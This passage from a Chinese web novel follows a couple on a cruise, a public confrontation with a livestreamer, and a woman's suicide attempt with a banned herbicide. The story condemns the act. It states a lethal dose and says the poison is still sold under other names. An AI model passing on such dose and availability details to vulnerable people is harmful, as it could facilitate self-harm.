“好啊!”她打了哈欠,重又闭上了眼睛,“我还没坐过邮轮呢~”
说完就陷入了酣眠。
祝临川满目柔情地替她理了理散乱的头发,在白绯白皙红润的脸上轻轻印下一个吻,调整了下姿势,搂着她也进入了梦乡。
于是第二天,兴高采烈照常上门打卡的方瑜寻遍了小楼和后院,都没能找到白绯的影子。
直到遇到溜三小只回来的陈安夏,方瑜才知道人去哪儿了。
“绯绯姐?她和临川约会去啦~刚走没多久,说是临川单位的前辈给了两张邮轮票。”陈安夏已经习惯了方瑜每天来这溜达,看着高冷的偶像那副不值钱的样子颇有些幻灭。
有句话说得好,合格的偶像应该离粉丝远一点。
陈安夏说完,也没再管他,自顾自去给大鹏它们做饭去了。
“这狗逼...”方瑜拳头捏得嘎嘣直响。没想到祝临川茶不过他,竟然来一招釜底抽薪。
他咬牙切齿地嘀咕了几句,想到什么,又冷笑一声,扭头走了。
而另一头的白绯,此刻正拉着行李站在码头,目瞪
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口呆地看着眼前的庞然巨物。
虽然之前她在船票上已经看过了这艘巨型邮轮的样子,但她以为那不过是买家秀卖家秀。
红烧牛肉面里难道还真能有牛肉吗?楼房开盘时的保安都是身高188八块腹肌的帅气男大,开盘后所有保安还凑不齐一口好牙不都是基操吗?现在谁还不知道图片仅供参考吗?
她是真没有想到,辉夜号还真是一艘足有十六层高的钢铁巨厦。它就这么巍峨地矗立在码头边,几乎遮蔽了半边天。
岸边已经有很多游客在排队登船,这个倒是和船票上看着不一样,白绯大概瞅了瞅,预估80%的游客都得是老年团。
“走吧走吧。”她兴奋地催促祝临川,拉着行李开始排队。
登船后,他们坐着电梯来到十层。
推开房门,白绯一眼就看到了明亮的落地玻璃窗。房间整体面积不大,但麻雀虽小五脏俱全,尤其是这个阳台,让白绯很是惊喜。
她拉开玻璃门,海的气息带着咸味和海风扑面而来,入目是一整片辽阔的海面,白绯已经可以预见等船航行在海上时,她将会看到何等的美景了。
“怎么样,还喜欢吗?”祝临川放好行李,也跟着走了过来。这是他人生第一次旅行,毕竟就在不久前他还疲于奔命养活自己。他人生的很多第一次都是和白绯一起体验的,这让他觉得这是上天最好的安排。
白绯深吸了一口气,转过头看着他。她的眼睛亮晶晶的,里面盈满了喜悦,她踮起脚,在祝临川脸上印下一个清脆的吻:“实在是太棒了!”
祝临川嘴角微勾,伸手想去揽她的腰肢,然而白绯却已经像一阵风般又卷回了房间。
房间里摆着一张沙发和茶几,对面还有电视。白绯坐在沙发上,目光被茶几上一本装帧精美的邮轮指南吸引了。
她打开细看,不由发出了惊叹:“哇,原来现在的邮轮旅行已经这么高大上了吗?船上竟然有十多家特色餐厅和自助餐厅,而且还是免费开放,全天供应?”
毕竟华国是一个吃货大国,恩格尔要是来这儿一趟就明白什么恩格尔系数那都是个屁。华国人挣两钱一大半都能炫肚子里,好吃的实在是太多了。
这艘游轮的老板不错,白绯点头赞叹道。
除此以外,邮轮上竟然还有影院、K歌房、电玩城,甲板上甚至有泳池、温泉,还能攀岩和体验空中跳伞。而最让白绯惊喜的是最后满满当当的节目单。
“等等,这是?”她手指点在价目单上!“百老汇式的歌舞秀、魔术夜场、脱口秀...天呐,这光在船上玩,五天时间怕是都玩不转吧?”
根据介绍,除了船上丰富的娱乐项目,他们此次的航程还会经过几个著名的港口城市。游客可以下船短暂游玩,只要在开船时间前返回就行。
“我们走吧,先去顶层的环球自助!”白绯啪地把本子一合,果断站起身拉着祝临川就出门准备开炫。
她兴冲冲地拉开房门,猝不及防地和一张熟悉的脸面面相觑。
竟然是方瑜。
他的手还停在半空,保持着欲要敲门的姿势。
66. 当代网友人人福尔摩斯
“你怎么在这?”
别说后面立刻黑了脸的祝临川,就连白绯都震惊了。方瑜是在她身上装了定位器吗,怎么连这儿都能跟来?
方瑜邪魅一笑,双手捧脸对着白绯深情款款道:“是爱让我们相聚。”
白绯嘴角抽搐:“…说人话。”
世上哪有那么多巧合,不过都是蓄谋已久。
果然,方瑜直起身挠了挠下巴,眼神躲闪着含糊道:“我去问了吴叔,正好他手上还有一张多余的票,我就要来了。”
吴叔?吴法医?
白绯恍然大悟,看来方瑜和吴法医应当是老相识,并且关系还不错。估计上回江边初遇后,他就是从吴法医处打听来自己的信息的。
“你这是准备去哪儿?”方瑜摩拳擦掌,看起来也很兴奋。虽说他是追着白绯来的,但这确实也是他第一次坐这样的游轮旅行。
“去吃饭。”既然遇上了,白绯便招呼他一起走,方瑜自然屁颠颠地跟上。
祝临川原本跟在白绯身后,却被他一脚横插进来,一屁股给怼开了。
祝临川愣愣地站在原地,看着白绯和方瑜渐行渐远的背影,眼里风雨欲来。
然而就在这时,白绯却突然停住了脚步。她回身看向祝临川,疑惑地歪头:“怎么不走了,有东西忘了?”
祝临川摇摇头。
白绯宠溺地笑了一声,索性转身走了回来,与他十指紧扣。她抬起两人交握的双手,笑道:“这艘船这么大,我们拉着手,可别走散了。”
心中酝酿的风暴就这么被一句话轻飘飘地吹散。祝临川反手握紧了对方了手,笑着应了声好。
白绯在心里偷偷擦了把汗,恋人是个醋坛子怎么办,只能她宠着呗~
方瑜围观了全程,抱着手酸溜溜地哼了一声。
之后几天的旅行确实如白绯预想的那般快乐。他们在甲板上吹着海风看日出日落,在阳台的懒人沙发上依偎着欣赏月色,在餐厅摇曳的烛火与悠扬的乐声中对坐着享用美食,在美轮美奂的表演厅为艺术落泪...
风华正茂的年纪,和对的人做对的事,还有比这个更让人心情愉悦的事吗?
祝临川也对这次的旅程十分满意,若是能少了某只大号电灯泡的影子就更好了。不过也不知是否是白绯后来和方瑜说了什么,他出现在二人身边的次数明显少了很多。
这天,轮船即将靠岸Q市,这是华国沿海极富盛名的滨海城市,依山傍海,气候宜人。尤其是Q市的啤酒配上海鲜,若是来了这儿不尝上这么一顿,那就是白来了。
祝临川早早做了攻略,把手机上的备忘录打开递给白绯,让她看看有没有不妥的地方。
白绯穿着一身白底粉花吊带裙,波浪卷的长发披散着,慵懒地躺在沙滩椅上,浑身都散发着一种松弛的美。她微笑着接过手机,冲祝临川眨了眨眼,调侃道:“就这么把手机给我了啊?里面的秘密都藏好了吗?”
祝临川近日的气质愈发温和,浑身散发出欲望都得到满足后的放松。他深邃的眉眼带笑,含情脉脉地看着白绯道:“我的全部都为你敞开。”
有两个女孩正好路过,闻言不由捂着嘴开始吃吃地笑。
白绯羞耻得脚趾抓地,不敢再撩,生怕人嘴里再蹦出什么惊天动地的话来,只好埋头看起手机。
方瑜就坐在不远处,和白绯他们只隔着两张椅子,正拿着手机直播。他不屑地偏头瞪了祝临川一眼,撇撇嘴阴阳道:“油嘴滑舌。家人们,告诉你们,男人的话可一个字都不能信。我在哪儿?我在辉夜号上呢!不是一个人,追着我女神来的。嗐,我也知道是好机会,可谁让我女神已经有喜欢的人了,那我老方也只能默默守护呗…想看看女神?不行不行,我得保护她,网上什么牛鬼蛇神都有,还是别打扰她平静的生活了…”
方瑜边偷觑白绯那边的情况,边和弹幕聊着天,突然主播的雷达一动,眼角余光就瞥见另一个开着直播的人也朝这边走了过来。
现在谁都想吃这口饭,到处都有主包随地大小播,就算是生死一线的战场都有雇佣兵开直播,只不过很快就会被禁了罢了。
方瑜也已经见怪不怪,只抬眼打量了两眼,确定不是自己认识的人,就不再管了。
然而他没想到的是,那人竟气势汹汹地直冲白绯的方向走了过去,摆明了一副找茬的架势。
“哟,这不是大法医和嫂子嘛。怎么,今天不用给死人开膛剖肚啦?卿卿,你靠过来点,别离他们太近,要是沾上死人的臭气和晦气就不好了!”
白绯嘴角的笑意凝固,冷着脸抬起头。
哪来的瘪三满嘴喷粪。
她盯着眼前这张嚣张的脸回忆半晌,才从记忆里找回了他的名字。
竟然是罗雪萍的网红男友,陈成。
白绯的目光在陈成身边的陌生女人脸上一扫而过,讶异挑眉,这是换新欢了?罗雪萍呢?
她伸手按住边上几欲暴起的祝临川,云淡风轻地挑起眉:“哟,这不是大网红陈成嘛。怎么不见罗雪萍,你不吃她的软饭啦?还是…”
白绯意有所指地看了那个名叫卿卿的女孩一脸。那女孩脸上有些不带掩饰的不耐烦,正烦躁地看着陈成,显然也对他的言谈有些不满意。
白绯给她上了把眼药,又阴恻恻地对着面容扭曲的陈成道:“罗雪萍没告诉你之前罗家婚房闹鬼的事吗?啧啧啧,我看你印堂发黑,怕是早就沾上晦气了,搞不好马上就要暴毙。需要我们大发善心给你收尸吗?”
陈成脸上的愤怒扭曲了一瞬,有些怂了。罗雪萍自然是和他说过的,只是他并没有当回事。但联想到近期罗家的惨状,又让他有些犯怵,难道真的是惹上了什么不干净的东西吗?
前阵子,罗雪萍的弟弟罗峻辉似乎遇到了贵人,很是发了一笔小财,连带着对罗雪萍都大方了很多。
陈成靠着罗雪萍这个ATM机以及一些博人眼球的现场直播,竟还真小小飞升了一把,成了拥有三十万粉丝的小网红。
然而好景不长,罗峻辉之后似乎是生意上出了什么问题,不仅再拿不出钱来,还欠了不少债,最后甚至还找到罗雪萍,让她把先前拿走的钱还回去。
罗雪萍身上哪有钱啊,但凡有个子是全花男人身上去了,她只能找陈成来要。但是陈成可是个实打实的铁公鸡,在打探清楚罗家现在已经负债破产后就果断拉黑了罗雪萍,玩起了消失。
正好他钓了直播间的新榜一柳卿卿有一阵子了,也是时候该收网了。
柳卿卿是个白富美,家里对她只有一个要求,别乱创业就行。因此她每天除了到处旅游购物美容,就是爱给些男主播刷个嘉年华,是好多直播间的榜一。
陈成自然不愿意放弃这只会下金蛋的母鸡,他还做着入赘做阔夫的美梦呢!因此,为了拿下芳心,他破天荒地斥巨资买了辉夜号的船票,准备来一次浪漫的约会。至于罗雪萍,早就被他忘到脑后了。
然而在美人面前,陈成不想露怯。他色厉内荏地笑了一声,故意调转镜头对准了白绯二人,当着直播间的观众开始泼脏水。
“来,各位朋友,给你们介绍一对苦命鸳鸯。都说好吃不过饺子,好玩不过嫂子...哈哈,咱们这位男主角可是威风凛凛的大法医,可惜英雄难过美人关,最后竟然和自己的嫂子勾搭成奸!啧啧啧,道德在哪里,底线又在哪里?”
深耕互联网的陈成太明白了,要毁掉一个女人最简单的方式就是给她造黄谣。
祝临川几乎在镜头转过来的一瞬间就起身挡在了白绯面前,将她遮了个严严实实。他毫不畏惧地将自己暴露在镜头前,端的是坦坦荡荡。
世人如何看待他都无所谓,但他绝不允许任何恶意的打量落在白绯的身上。
然
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而白绯可不是什么娇花,她连血肉模糊的尸体都不怕,还能怕这些不痛不痒的谣言?
她单手搭上祝临川的肩膀,和他并肩而立。
察觉到掌下肌肉的紧绷,白绯甚至还安抚地捏了捏。她对着满嘴喷粪的陈成冷笑道:“你说我们是就是?那我还说你是个卖钩子的呢!”
“你他妈...”陈成被彻底激怒了,撸起袖子就要冲过去。然而还没走两步,就被一个大块头挡住了去路。
方瑜双拳捏得嘎吱直响,想都没想就一拳挥了上去。
不过这陈成竟也有点本事在身上,虽然躲得踉跄了点,倒也算躲开了攻击。
“你他妈又是谁?”他有些狼狈地站定,指着方瑜的脸唾沫横飞地怒骂道:“我看你是这婊子的姘头吧?看不出来啊,玩得这么花,难怪能勾搭上自己的小叔子...”
方瑜脸色很难看,看起来很想一脚把这人狗嘴里的牙都踢飞。然而祝临川却按住了他的肩膀,冲他摇了摇头。
方瑜这个暴龙又哪里肯罢休,然而白绯却走了上来,安抚地拍拍他紧绷的胳膊,示意他退后。
她就在背后两个保镖的护卫下,不闪不避地对着镜头道:“我的前夫家暴出轨,法院早就判决婚姻关系终止。我和临川是在彼此都单身的情况下相恋,没什么见不了人的。法律赋予所有单身男女恋爱自由的权利。倒是你…”
她看了眼明显后悔掺和进这场纷争的柳卿卿,抛出了最大的炸弹:“你怂恿小雪和祁东的事,好好配合警察同志调查了吗?”
陈成在听到白绯清楚道出他和罗雪萍之间的事时还勉强尚能自持,但此刻听到小雪和祁东的名字后是真的不淡定了。他脸上血色褪尽,瞳孔放大,心中十分慌乱。
柳卿卿不认识什么小雪,但她抓住了重点,那就是警察都介入了。她不过是无聊想找个男人玩玩,可不想卷入什么纷争。
所有聪明的富二代都明白一个道理,那就是低调。她可不想和什么法制咖扯上关系,男人有的是,陈成这一款式的,又不是全网无代餐。没了这个,下一个更乖更年轻。
懂得及时止损的柳卿卿转身就想走,却被方寸大乱的陈成拉住了手腕。
“卿卿,你别听她瞎说。”陈成赶紧解释,试图挽留。“我根本就不认识什么小雪,他们飙车死了关我屁事!宝贝,你可千万别被这对奸夫□□误导了啊!”
陈成此刻是真的后悔为了逞一时之快出面挑衅了。他不明白为什么白绯会知道这些事,难道是罗雪萍为了报复告诉她的?
他拉着柳卿卿想要离开,白绯却不准备这么轻易放过他,选择了趁人病要人命,痛打落水狗。
“既然不认识小雪,你怎么知道他们是飙车出事的?我可没提过飙车这两个字哦!”
完了!原来在这儿等着他!
陈成五雷轰顶。他浑身僵硬地偏头,果然,柳卿卿松开了他的手,抱胸往后退了一步。
陈诚一咬牙,想着只要名气还在,这个榜一走了,总还会有新的榜一出现。
然而等他低头看向直播间里划过的弹幕,才终于明白自己这下是真的完了。
人们热衷于造神,也热衷于毁神,更何况是他这样屁都不是的小虾米。
弹幕里清一色地都是对他的质疑,并且很快有人在他先前的视频中找到了小雪出事现场的拍摄。
【不会就是这个视频吧?当时报纸上还登了,我记得遇难者就叫小雪。】
【哇,这下我真的要阴谋论了。该不会是主播为了博流量,故意怂恿小姑娘飙车才出事的吧?】
【细思极恐。这个主包确实每次都能拿到一手现场,该不会...】
当代网友不愧人人都是福尔摩斯,竟然不知不觉中已经道出了真相。除了这批观众,还有些观众三观跟着五官跑,嗷嗷叫着让陈成再把镜头对准白绯三人。
67. 人人都以为自己是特别的
【只有我想知道嫂子和小叔子的账号吗?这么权威两张脸,真的不考虑吃互联网这口饭吗?】
【可是他们真的是叔嫂耶!这样算不算□□?】
【前面的没听人家说是在单身的情况下在一起的嘛!更何况这样不是更好嗑了吗斯哈斯哈…】
【请苍天,辩忠歼,苍天说,你看看他们的脸,这样的人怎么可能是坏人!】
【姘头也很顶啊,而且我怎么看着还有点脸熟...】
【哎哟,这不是我们老方嘛!最帅的捞尸人,怎么跑这儿来了?】
【就是他!刚才还在船上直播呢!】
瀑布般的弹幕在屏幕上冲刷而过,因为方瑜这个大网红的加入,除了少部分只关心颜值的颜狗外,有越来越多的人开始讨论起小雪的事故。
陈成的嘴徒劳地张合,却不知道该如何解释。他只能一遍遍苍白地重复:“不是的,我没有...”
然而就像他企图利用舆论吃掉白绯般,此刻的他也被舆论反噬。更何况,那本就是掩藏在迷雾之下真实的罪证。
仿佛气运将尽般,突然从天上飞过一只海鸥。它原本只是想来船上整点小零食,却突然屎意来临,于是一大坨热哄哄的鸟屎就这么巧满满当当糊了陈成一脸。
“呸!呕...”陈成被恶心得不行,伸手去擦,却只把屎糊得满脸都是。
就在现场情况一片混乱的时候,一个意想不到的人突然冲了出来。
“贱人!”
竟然是罗雪萍。一阵子不见,她看着消瘦了很多,头发凌乱,脸颊凹陷。身上的衣服也皱巴巴的不知道多久没换,闻起来都快馊了。
船上的人都嫌弃地躲远了些,但罗雪萍却视而不见。双眼通红地直冲柳卿卿奔去,扬起手就要给她一个大耳刮子。
柳卿卿被对方眼里滔天的恨意吓得头脑一片空白,竟不闪不躲,直愣愣地呆在原地。
还是方瑜看不下去,皱着眉拉了她一把,把人护在了身后。
“啪”地一声闷响,罗雪萍一巴掌扇在了方瑜硬邦邦的胸肌上。她就这么扒在方瑜胸口,疯狂地伸出拳头捶打,嘴里哭嚎着:“贱女人,你给我出来!勾搭别人男人的□□,看我不撕烂你的脸!”
方瑜任由她砰砰砰狂打,端的是纹丝不动。但他也只是那么站着,并没有反抗。毕竟他实在是下不了手打女人。
罗雪萍眼看是打不到柳卿卿了,嘶哑地惨叫了一声,终于扭头转向了整个事件的罪魁祸首,陈成,没再让他美美隐身,二人转眼就扭打成一团。
“你这个负心汉!我为你付出那么多,所有的钱都给了你,你却说消失就消失,还勾搭别的女人!”
陈成鸟屎糊脸,视线受阻,一时竟落了下风。他伸出胳膊胡乱挥舞,嘴里怒骂道:“滚!你这个疯女人,又丑又老,要不是为了钱,谁会和你在一起!”
罗雪萍来之前还对陈成抱着幻想,结果没想到二人之间竟从头到尾都不过是利用。
她一时急怒攻心,悲怆地笑了三声:“好!好!好!”
说完就踉跄起身,从口袋里掏出一个小瓶子,仰头就灌了进去。
“快拦住她!”白绯在看到她掏出瓶子的时候就意识到不好,伸手就想去拦。
她不知道瓶子里装的是什么,但就目前的情况来看,总不会是香槟。
可惜,她还是晚了一步。
“你喝了什么?”白绯一把从罗雪萍手中夺过瓶子,然而里面已经空了,只有瓶底还有一小洼蓝绿色的液体。
罗雪萍没有回答,只是面容痛苦地捂住了咽喉。她凄惨地看着扶着栏杆狼狈站起来的陈成,怒吼道:“我这就死给你看,我要让你后悔!”
然而陈成却根本不在乎她的死活,只冷笑一声:“那你最好给我死远点!”
说完就毫无留恋地甩手离开了。
罗雪萍显然没想到事情会是这样的发展。
很多天真的女孩子都有这种错觉,以为自己的死亡能换来别人的忏悔。但她们怎么不想想,若对方本来就在伤害她的身体和感情,又怎么会在乎她的性命?她的死亡不过会成为施暴者茶余饭后的一点小小谈资与笑料罢了。
若说这种行为唯一能伤害到的人,也只有那些真正爱着她们的人。这种行为也不过是能让亲者痛,仇者快罢了。
祝临川反应很快,马上就掏出手机拨打了船上的急救电话。
好在他们的船还有十分钟就能到达Q市,船上的工作人员表示会让救护车直接在码头待机,靠岸后就立马把人送去医院。
“她喝了什么?”方瑜脸色也不好看,但凡是一个正常的人类,必然是没办法眼睁睁看着别人去死的。
白绯谨慎地闻了闻瓶子里的液体,入鼻的是一股十分刺鼻的尿素味,有点类似化肥。再结合瓶子里残留的蓝绿色液体,白绯有了个十分不好的猜测。
“只怕是农药。”
这类农药原本是用作除草剂的,为了降低误服风险,生产商还特意在里面添加了臭味剂,也就是这种氨气的味道。
同时,它的味道也是极其苦涩的,带有强烈的灼烧感,服用后会引起口腔、喉咙、食道和胃部的剧烈疼痛。
果然,罗雪萍的脸色已然惨白。她蜷缩着身体倒在地上,用手捂住腹部开始低声哀嚎,并且开始大口往外呕黑血。
柳卿卿被这一幕吓到,惊慌失措地撇过头不敢再看。
“救我...”直到这一刻,罗雪萍的头脑才终于回归清醒,她涕泪横流地抓住白绯的脚踝,爆发了强烈的求生欲。
“你喝的是什么?”白绯反手抓住她的手,语气冷静,却反而让罗雪萍找到了主心骨。“你必须告诉我,我才知道该怎么帮助你。”
“是XX枯...”
白绯的心顿时一沉。这药,出了名的只会给你后悔的时间,却不会给人后悔的机会,只需5克就足以致人死地,更何况是干了这么一大瓶。
虽然,华国早年前就已经禁止生产销售这药,但依然有很多商家会用其他的产品名挂羊头卖狗肉,导致最后消费者虽然买到的是假药,却比真药还毒。
“需要做催吐吗?”方瑜蹲下身,帮忙扶住罗雪萍。
白绯看向祝临川,他一直和医院保持通话,见状面色沉重地摇了摇头。
白绯深吸一口气,扭头已经是一副云淡风轻的表情。她低声安慰罗雪萍道:“救护车已经在码头等着了,你不要害怕。现在我给你些水漱口,不要喝下去,吐掉。另外保持安静,不要动,这样可以减少毒性的吸收。”
罗雪萍没想到到头来竟然是白绯在身边陪伴她,心情也很是复杂。此刻,她已经没了主见,只乖乖地听从白绯的指示,好好配合。
也许是白绯太过淡定,甚至给众人带来一种这不过是小事一桩的错觉。然而只有白绯知道,事情并没有这么乐观。
医院方面在电话里指导,由于罗雪萍已经呕血,所以不能再进行催吐。否则不仅容易造成喉道的二次灼伤,还有可能引起误吸,导致窒息甚至严重肺炎。也不能大量饮水稀释,否则可能促进毒性吸收甚至诱发呕吐。
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至于给牛奶、蛋清或者油之类的其他解毒偏方,她们也不敢轻易尝试。众人只能和船上的工作人员一起,把罗雪萍抬上担架,在船的出口处焦急等待靠岸。
白绯手里还握着方才罗雪萍装农药的瓶子,这个也需要交给医生进行毒检,对后期的治疗至关重要。
罗雪萍缓过来了些,靠在担架上伸出手轻轻碰了碰白绯垂落在身侧的手腕,语气难得地有些赧然。
“谢谢你,白绯。”她有些不好意思地垂下眼,“你本来是和临川出来旅游的吧?耽误你们了,等我好了,一定再赔你们两张船票!只是我最近手头有点紧,峻辉生意上出了点问题,好像是被谁做了局,家里的钱都砸进去了不说,连房子车子都卖了,还欠了不少债...不过你放心,等我好了,我就去打工,一定先把你们的钱还上!”
也不知是不是为了分散注意力,罗雪萍竟然低声絮叨起来:“以前是我们罗家对不起你,其实峻辉之前在外面就有人了,是我们一直在瞒着你,还想把你家的房子占了。你现在能和临川在一起也挺好的,他人长得好,脑子又聪明,将来一定能挣不少钱。难得他不嫌弃你是做死人生意的,又是离过婚的,你一定要好好抓住他,可千万别让其他狐狸精把他抢走了。”
白绯心情复杂地低头看着她,冲她温和地笑笑:“好,我知道了。那你可千万不能毁约,我等着你还我钱呢~”
“唉~”罗雪萍期期艾艾地应了声,又有些不好意思道:“那你能在医院多陪我会儿吗?其实,我和峻辉闹翻了,我妈向来又偏心着他,估计不会为了我大老远地跑过来。我一个人有些怕...”
“好。”白绯握住她粗糙的手,语气温柔又坚定,“我保证,会一直陪着你。”
她们就一直这么交握着手,直到罗雪萍被送进医院抢救室。
祝临川看着抢救室的门合上,转头对白绯道:“休息会儿吧,她看起来状况还可以。”
白绯却苦笑着摇摇头:“你小看能被我们国家列为禁药的毒的威力了。”
她在穿书前,曾接待过一个客户。那是一个年轻的男孩子,悲惨的人生深刻地诠释了什么叫麻绳专挑细处断。
他曾经也有幸福的家庭,可是三岁时父母出车祸双亡,只留下了他和祖父母相依为命。然而命运弄人,他的祖父母也在两年后相继病逝。好在,他的大伯一家收养了他。
可惜年轻的孩子心里到底缺了一块,只觉得自己被全世界抛弃,没有人爱他,在一个夜晚,偷偷溜回了父母荒废的老宅,饮下了整整一瓶XX枯。直到天亮,才被找到他的伯父紧急送往了医院。
在医院,他终于找到了被爱的证明。伯父一家宁愿卖房负债,也要为他继续治疗,即使医院告诉他们希望十分渺茫。风华正茂的堂姐,不嫌弃他浑身的血污和不断呕出的黑血,耐心细致地给他擦身按摩。还有医护人员的悉心照料,社会各界爱心人士伸出的援助之手...
“原来有那么多人还爱着我...”被毒折磨得痛苦不堪的孩子终于点燃了生存的勇气,无论如何苦不堪言,却也不愿意再放弃希望。
然而,这就是XX枯的残酷之处。在经历了整整半个月的治疗后,就在所有人都以为他成了那个被治愈的幸运儿时,他的肺纤维化了。
人人都以为,自家回头的浪子是被爱感化,以为自己是特殊的,但其实只不过是对方老了玩不动了;人人都以为自己穿越后能迎娶白富美称霸中原,其实只会死在第一集。
这个少年也同样,死在了满怀希望的那一刻。而罗雪萍,亦将重蹈覆辙。
68. 血包
祝临川扭头看了眼抢救室紧闭的大门,医生们正在争分夺秒,尽力将毒的影响降到最低。
“我没想到你愿意陪她来。”
白绯无奈地笑笑:“到底也做不到见死不救。倒是你…”
她有些担忧地看向祝临川,脸上是询问的表情:“你不必勉强自己自己留在这里。”
白绯到底不过穿越而来,原身遭受的欺辱不过也只是隔着云端看到的信息流罢了,但祝临川确实实打实地在罗家生活了那么多年。他前面愿意帮忙已经是十分大肚了,若是现在甩手不管,白绯也十分理解。甚至莫说不搭理,他能不落井下石,白绯都想赞他一句品性高洁。
没有人能比当事人更加感同身受,白绯也绝不会圣他人之母,要求祝临川做一个圣父。更何况,以德报怨,何以报德?
然而祝临川看起来是真的放下了,他云淡风轻道:“你也别小看我。更何况,她也算是个苦命的女人。”
罗雪萍出生于重男轻女的家庭,她的悲惨人生从她的曾用名罗招娣就已经可以觑见冰山一角。人之初究竟是善是恶先不做定论,但家庭绝对是一个人三观塑造的初始模板。
有那样的母亲和弟弟,又过早辍学与三教九流厮混,最后助纣为虐,欺辱原来的白绯和身为孤儿的祝临川,也是可以预见的结果了。
也因此,祝临川和白绯这般出淤泥而不染的人就更显得难能可贵。尤其是,都是淋过雨的人,他们选择了为别人撑伞,而不是干脆撕了别人的伞。
辉夜号也派了相关工作人员过来,发生这样的事,打工的牛马只觉得自己天都要塌了。他原本以为白绯等人就是罗雪萍的家属,还庆幸他们看着都是通情达理的人,然而等到被告知不过是热心人士,刚放回肚子里的心就又提了起来。
罗雪萍最后被安置在了重点病房,她到底还是给罗峻辉打了电话。
罗峻辉接到电话时,先是破口大骂,然而紧跟着他像是嗅到了发财翻身的机遇,在电话里大声咆哮,算盘珠子都快崩人脸上了:“你一定要留下辉夜号的人!你是在他们船上出的事,他们别想当甩手掌柜!医药费老子一毛也没有,叫辉夜号出!我和妈这就过来!”
他的咆哮声通过电话听筒传出,让辉夜号的工作人员听得清清楚楚。
好了,这是讹定了。工作人员无奈地拨了拨自己脑袋上所剩无几的头发,认命地汇报给了领导,让公关和法务都做好准备打一场硬仗。
罗雪萍很是虚弱,白绯先替她垫付了医药费,还应诺留下来一直在照顾她。
祝临川自然也没走,而方瑜这个跟屁虫也留了下来。他本就是追着白绯来的,对于旅行也是可有可无。白绯劝了一句,见他已经下定决心,便也只能放弃了。
最让人意外的是,柳卿卿竟然也留了下来。大小姐原话是这样的。
“我家有好几艘比辉夜号还大的船,想玩随时可以包船。要不是为了哄陈成高兴,我才懒得过来人挤人。”
大小姐不管众人死活地炫了个富,语毕又含羞带怯地偷偷瞟了眼正无聊地在病房走廊玩游戏的方瑜,视线在他鼓鼓囊囊的胸口和有力的窄腰上流连,咽了口口水后义正言辞道:“我到底也算介入了罗雪萍和陈成之间,虽然之前我并不知晓她的存在。不过嘛,该承担的责任我是不会逃避的,后续的医疗费我包了,也算对她的一点小小补偿吧。”
方瑜完全没察觉柳卿卿醉翁之意不在酒,只对着她竖了个大拇指:“兄弟,你是这个。”
柳卿卿被哄得芳心大悦,素手一挥,还直接给几人在隔壁五星级酒店开了两间总统套房。只不过两间房差了整整三层楼,而她自己的房间却在方瑜对面。
四人就这么一直留在Q市照顾罗雪萍,当然主要是白绯和祝临川,至于方瑜,没过多久就被白绯打发去陪伴柳卿卿了。
“这里用不上你,你还不如去陪陪柳小姐,带她在Q市好好转转,把人哄高兴了,那才是帮上大忙。”
她早看出来柳卿卿对方瑜有好感,要是真能成,方瑜以后也算是进入豪门,能过上好日子了。因此,白绯有意撮合,倒还真哄得方瑜晕头转向地去了。
“希望方瑜苟富贵,勿相忘啊~”白绯站在病房窗边,低头看着柳卿卿亲昵地挽着方瑜的胳膊离去,擦了擦眼角不存在的泪。
祝临川更是乐见其成,要是可以,他甚至不介意下黑手把方瑜扒光洗干净直接送上柳卿卿的床。
祝临川嘴角不着痕迹地勾了勾,正打算享受和白绯难得的独处时光,门却被砰地一声大力踢开,门板撞上墙发出惊天动地的一声巨响。
罗峻辉母子终于闪亮登场。
他们就犹如盯上猎物的秃鹫,双眼布满红血丝,恶狠狠地扫视着病房里的一切,急欲找到可以下口攀咬的对象。
一段时间不见,二人看着落魄了不少。尤其是罗峻辉,胡子拉碴的,眉头紧紧皱着,嘴上甚至还起了了两个燎泡。
白绯不由挑眉,联想到罗雪萍之前的话,看来这是终于被杀猪了?
罗家母子在看到白绯和祝临川二人的时候明显愣了一下,之后,祝金花就张牙舞爪地冲了上来:“又是你这个贱蹄子!和你沾上就没有好事!”
祝临川岂容她当着自己的面放肆,单手抓过一边的椅子当作武器,隔开了他们与罗家母子,嘴里淡淡道:“别以为我不打女人。”
罗雪萍也被这巨大的动静吵醒,她艰难地撑起上半身,气若游丝:“妈,你别闹,是白绯和临川一直在照顾我,还替我垫付了医药费。弟弟,你拦着点妈妈啊!”
然而罗峻辉却只是双手抱胸站在病房门口,冷哼了一声没有任何动作。
罗雪萍又急又气,可就是这么简单的动作都已经消耗了她全身的力气,才说完,她就虚弱地摔回床上,开始剧烈地喘息。
祝金花尖利的声音拔高:“不关他们的事他们为什么要替你付医药费?肯定是心里有鬼!雪萍,你说,是不是他们撺掇你喝药的?”
祝金花说完就对着她使眼色,然而却是抛给瞎子看,被罗雪萍完全无视了:“真的不是,是我自己一时冲动喝...”
她话还没说完,就被一个大耳刮子打断了。
罗雪萍愣愣地捂着急速肿起来的半边脸颊,完全呆住了。
“你们在对病人干什么!”护士闻声赶来,也被这一幕惊呆了。
现场很快乱作一团,祝金花和罗峻辉被祝临川撵出了房间外,白绯和护士则留下安抚罗雪萍。
隔着病房门,祝金花的叫嚣声清晰地传进来。从头到尾,她们都没有关心过罗雪萍的身体状况,只想找到一个冤大头掏钱。
罗雪萍急促地倒着气,眼里涌出热泪,她的嘴张合两下,最终还是什么也没说,无力地闭上了眼。
就在这时,辉夜号的工作人员也赶了过来了。这下好了,祝金花终于找到了可以拿捏的对象。
“我不管!我女儿是在你船上出的事!是你们监管不力!必须赔!”
“您别激动,我们去外面谈,别影响其他人。”
自此,罗家母子竟不曾再出现在罗雪萍病房,只每天隐约传来的咆哮声彰显着她们的存在感。而罗雪萍的呼吸则日渐沉重,生命的光泽正从她脸上一点点剥落。
某天午后,罗雪萍突然睁开了眼。她已经消瘦了很多,皮肤蜡黄,眼下
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青黑。她虚弱地睁开眼左右看了看,看到白绯就坐在她床边低头看书。
白绯注意到她的动作,立刻合上书探身靠了过来,低声问道:“怎么了,要喝水吗?还是哪里不舒服?”
罗雪萍看着空荡荡的病房,自嘲地笑了声,对白绯不好意思道:“白绯,辛苦你了。”
她抿了抿嘴,犹豫了片刻,最后还是开了口:“能…帮我买碗牛肉面吗?我...我有点饿了。”
白绯有些意外地看了她一眼,点头道:“香菜葱花要吗?”
“要,多加。”
“好。”她走到门口,和守在外面的祝临川低声交代了几句,就又走了回来。
“临川去买了,楼下正好就有一家,很快就能回来。你要先坐起来喝口水吗?”
“嗯,谢谢你啊。”
